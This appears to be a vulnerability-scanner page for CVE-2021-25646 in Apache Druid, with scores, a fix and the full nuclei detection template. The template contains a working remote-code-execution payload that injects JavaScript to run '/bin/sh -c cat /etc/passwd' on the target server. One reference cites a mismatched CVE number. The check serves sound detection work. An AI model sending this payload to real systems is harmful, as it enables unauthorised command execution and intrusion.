Apache Druid - Remote Code Execution

highseverity

8.8CVSS score

99.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches or upgrade to a patched version of Apache Druid.

How to confirm it

Send: POST /druid/indexer/v1/sampler
Positive when: contains "numRowsRead" and "numRowsIndexed" AND contains in header "application/json" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-25646 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-25646

info:
  name: Apache Druid - Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Apache Druid.
  reference:
    - https://paper.seebug.org/1476/
    - https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
    - http://www.openwall.com/lists/oss-security/2021/01/29/6
    - https://lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25864
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-25646
    cwe-id: CWE-732
    epss-score: 0.99062
    epss-percentile: 0.99932
    cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: druid
  tags: cve2021,cve,apache,rce,druid,vkev,vuln

http:
  - raw:
      - |
        POST /druid/indexer/v1/sampler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
        "type":"index",
        "spec":{
           "ioConfig":{
              "type":"index",
              "firehose":{
                 "type":"local",
                 "baseDir":"/etc",
                 "filter":"passwd"
              }
           },
           "dataSchema":{
              "dataSource":"odgjxrrrePz",
              "parser":{
                 "parseSpec":{
                    "format":"javascript",
                    "timestampSpec":{

                    },
                    "dimensionsSpec":{

                    },
                    "function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
                    "":{
                       "enabled":"true"
                    }
                 }
              }
           }
        },
        "samplerConfig":{
           "numRows":10
        }
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "numRowsRead"
          - "numRowsIndexed"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from